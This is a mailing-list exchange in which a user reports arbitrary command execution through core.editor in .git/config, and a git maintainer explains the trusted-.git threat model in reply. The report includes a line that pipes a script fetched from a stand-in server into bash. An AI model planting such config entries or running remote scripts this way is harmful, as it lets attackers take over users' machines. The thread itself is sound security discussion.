ah, cool! So, when a git clone is executed it generates a new .git/config to the local one (I didn't pay attention on that). Thanks a lot for the clarification Peff! On Sun, Aug 26, 2018 at 12:19 AM Jeff King <peff@xxxxxxxx> wrote: > > On Sat, Aug 25, 2018 at 11:13:30PM -0300, Leo Silva (a.k.a kirotawa) wrote: > > > Hi git community! > > > > I found what seems to be a vulnerability/bug on git. I'm running > > version 2.7.4 on Ubuntu xenial, but also tested with last version > > 2.19.0.rc0.2.g29d9e3e. > > > > The steps to reproduce are: > > > > 1. open your .git/conf > > 2. add something like: > > [core] > > editor = ls /etc/passwd > > or even > > editor = curl -s http://server/path/malicious-script.sh | bash -s > > 3. run: git commit > > > > A malicious user/repo can set some code through URL or even as command > > in .git/conf and take control of your machine or silently run > > malicious code. > > This is all working as designed. There are many ways you can execute > arbitrary code by changing files in in a .git directory. As you noticed, > core.editor is one. pager.* is another one, as are hooks in .git/hooks. > > Our threat model is that the files in .git are trusted, and should be > protected through normal filesystem permissions. An important part of > that model is that a "git clone" does not copy arbitrary .git files from > the other side (only objects and refs). If you find a way around that, > it would be a problem (and in fact many of the vulnerabilities we've had > have involved somehow writing into .git from the checked-out tree). > > -Peff -- ---------------------------------------------- Leônidas S. Barbosa (Kirotawa) Security Engineer at Canonical Ltd blog: corecode.wordpress.com --------------------------------------------- "O que importa são os incontáveis pequenos atos de pessoas desconhecidas, que fundam as bases para os eventos significativos que se tornam história" - Howard Zinn
